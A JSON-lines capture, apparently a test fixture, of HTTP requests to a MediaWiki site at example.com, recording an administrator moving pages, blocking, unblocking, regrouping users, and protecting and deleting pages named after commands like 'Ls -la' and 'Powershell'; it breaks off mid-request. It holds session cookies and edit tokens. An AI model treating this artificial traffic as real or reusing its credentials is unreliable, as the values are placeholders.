{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 172", "Host: example.com", "Cookie: my_wiki_session=fcmd64a5hssainutb2ir8ft5hiil5q2k; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=e8f55601074a8ca6555367358cdeaec4; cpPosIndex=4%401794258329%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=move&from=Powershell+API+notes&to=Ls+-la+API+notes&reason=Notes+on+ls+-la&movetalk=1&token=d9bfff952b515ebbce0754fa68ecb52d6af23599%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 174", "Host: example.com", "Cookie: my_wiki_session=fcmd64a5hssainutb2ir8ft5hiil5q2k; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=e8f55601074a8ca6555367358cdeaec4; cpPosIndex=6%401794258329%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=move&from=Ls+-la+API+notes&to=.htaccess+API+notes&reason=Notes+on+.htaccess&movetalk=1&token=d9bfff952b515ebbce0754fa68ecb52d6af23599%2B%5C&format=json&formatversion=2"}
# Signed in as an administrator: blocking and unblocking a user, searching the
# block list, changing a user's groups, and protecting and deleting a page,
# through the forms and the API.
{"method": "GET", "target": "/wiki/Special:Block", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.widgets.SelectWithInputWidget.styles%7Cmediawiki.widgets.TagMultiselectWidget.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Cmoment%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.block%7Cmediawiki.widgets.DateInputWidget%2CNamespacesMultiselectWidget%2CSelectWithInputWidget%2CTitlesMultiselectWidget%2CUserInputWidget%2Cdatetime%2Cexpiry%2CvisibleLengthLimit%7Cmediawiki.widgets.DateInputWidget.styles%7Cmediawiki.widgets.DateTimeInputWidget.styles%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%2Cicons-editing-core%2Cicons-interactions%2Cicons-moderation%2Cicons-movement%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=l6l6m", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Lighthouse&aulimit=10", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Block", "headers": ["Host: example.com", "Content-Length: 334", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "title=Special%3ABlock&wpTarget=Lighthouse&wpEditingRestriction=sitewide&wpPageRestrictions=&wpNamespaceRestrictions=&wpCreateAccount=1&wpExpiry=other&wpExpiry-other=1+week&wpReason=other&wpReason-other=Spamming+links&wpAutoBlock=1&wpEditToken=ed914eedcba413702b55d6a5594785366af23fb8%2B%5C&redirectparams=&wpPreviousTarget=&wpConfirm="}
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{"method": "GET", "target": "/wiki/Special:UserRights/Python3", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Python3", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794260936%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Python3_notes&action=protect", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794260936%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Python3_notes&action=protect", "headers": ["Host: example.com", "Content-Length: 354", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794260936%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Python3+notes&mwProtect-level-edit=sysop&wpProtectExpirySelection-edit=infinite&mwProtect-expiry-edit=&mwProtect-level-move=sysop&wpProtectExpirySelection-move=infinite&mwProtect-expiry-move=&wpProtectReasonSelection=other&mwProtect-reason=Spamming+links+to+python3+guides&mwProtectWatch=1&wpEditToken=a011544f3ec7fa75bd1fd89a2f20dcc96af23fc9%2B%5C"}
{"method": "GET", "target": "/wiki/Python3_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794260937%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Python3_notes&action=delete", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794260937%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Python3_notes&action=delete", "headers": ["Host: example.com", "Content-Length: 190", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=delete", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794260937%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Python3+notes&wpDeleteReasonList=other&wpReason=Spamming+links+to+python3+guides&wpWatch=1&wpConfirmB=&wpEditToken=894fe5e362a216c6fed953d5981e56266af23fca%2B%5C&wpConfirmationRevId=13"}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Powershell&aulimit=10", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794260939%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Block", "headers": ["Host: example.com", "Content-Length: 355", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794260939%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3ABlock&wpTarget=Powershell&wpEditingRestriction=sitewide&wpPageRestrictions=&wpNamespaceRestrictions=&wpCreateAccount=1&wpExpiry=other&wpExpiry-other=1+week&wpReason=other&wpReason-other=Spamming+links+to+powershell+guides&wpAutoBlock=1&wpEditToken=3b00de112eaad4ff6f12629cc0c9c8c06af23fcb%2B%5C&redirectparams=&wpPreviousTarget=&wpConfirm="}
{"method": "GET", "target": "/wiki/Special:BlockList?wpTarget=Powershell&blockType=&limit=50&wpFormIdentifier=blocklist", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:BlockList", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=11%401794260940%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Unblock", "headers": ["Host: example.com", "Content-Length: 147", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Unblock", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=11%401794260940%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUnblock&wpTarget=Powershell&wpReason=Spamming+links+to+powershell+guides&wpEditToken=4b25c2be7aa7180be8fc025161311c226af23fce%2B%5C"}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Powershell&aulimit=10&auexcludetemp=1", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794260942%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special%3AUserRights&user=Powershell", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794260942%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:UserRights", "headers": ["Host: example.com", "Content-Length: 306", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Powershell", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794260942%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUserRights&wpGroup-bot=1&wpExpiry-bot=infinite&user-reason=Spamming+links+to+powershell+guides&wpEditToken=35cb5dd45d8899e2a96ed95c00c178ef6af23fd0%2B%5C&user=Powershell&wpEditToken=b9e7f00795439581c5845863b4170ec36af23fd0%2B%5C&conflictcheck-originalgroups=&saveusergroups=Save+user+groups"}
{"method": "GET", "target": "/wiki/Special:UserRights/Powershell", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Powershell", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=13%401794260945%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Powershell_notes&action=protect", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=13%401794260945%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Powershell_notes&action=protect", "headers": ["Host: example.com", "Content-Length: 360", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=13%401794260945%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Powershell+notes&mwProtect-level-edit=sysop&wpProtectExpirySelection-edit=infinite&mwProtect-expiry-edit=&mwProtect-level-move=sysop&wpProtectExpirySelection-move=infinite&mwProtect-expiry-move=&wpProtectReasonSelection=other&mwProtect-reason=Spamming+links+to+powershell+guides&mwProtectWatch=1&wpEditToken=384a82472f675c8d51d5f7ea14bc5a226af23fd1%2B%5C"}
{"method": "GET", "target": "/wiki/Powershell_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=14%401794260946%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Powershell_notes&action=delete", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=14%401794260946%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Powershell_notes&action=delete", "headers": ["Host: example.com", "Content-Length: 196", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=delete", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=14%401794260946%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Powershell+notes&wpDeleteReasonList=other&wpReason=Spamming+links+to+powershell+guides&wpWatch=1&wpConfirmB=&wpEditToken=08e40f2e3128222c610cfe2dea904b416af23fd3%2B%5C&wpConfirmationRevId=14"}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Ls%20-la&aulimit=10", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=15%401794260947%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Block", "headers": ["Host: example.com", "Content-Length: 347", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=15%401794260947%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3ABlock&wpTarget=Ls+-la&wpEditingRestriction=sitewide&wpPageRestrictions=&wpNamespaceRestrictions=&wpCreateAccount=1&wpExpiry=other&wpExpiry-other=1+week&wpReason=other&wpReason-other=Spamming+links+to+ls+-la+guides&wpAutoBlock=1&wpEditToken=5af8bdc9fcc0bb254d92eb67659a644d6af23fd4%2B%5C&redirectparams=&wpPreviousTarget=&wpConfirm="}
{"method": "GET", "target": "/wiki/Special:BlockList?wpTarget=Ls+-la&blockType=&limit=50&wpFormIdentifier=blocklist", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:BlockList", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=16%401794260949%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Unblock", "headers": ["Host: example.com", "Content-Length: 139", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Unblock", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=16%401794260949%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUnblock&wpTarget=Ls+-la&wpReason=Spamming+links+to+ls+-la+guides&wpEditToken=9bd8191e47e9f9072a9d2c14f992993a6af23fd6%2B%5C"}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Ls%20-la&aulimit=10&auexcludetemp=1", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=17%401794260951%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special%3AUserRights&user=Ls+-la", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=17%401794260951%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:UserRights", "headers": ["Host: example.com", "Content-Length: 298", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Ls+-la", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=17%401794260951%23da3afb6e304edc637eb2dcecbe092657"], "body": 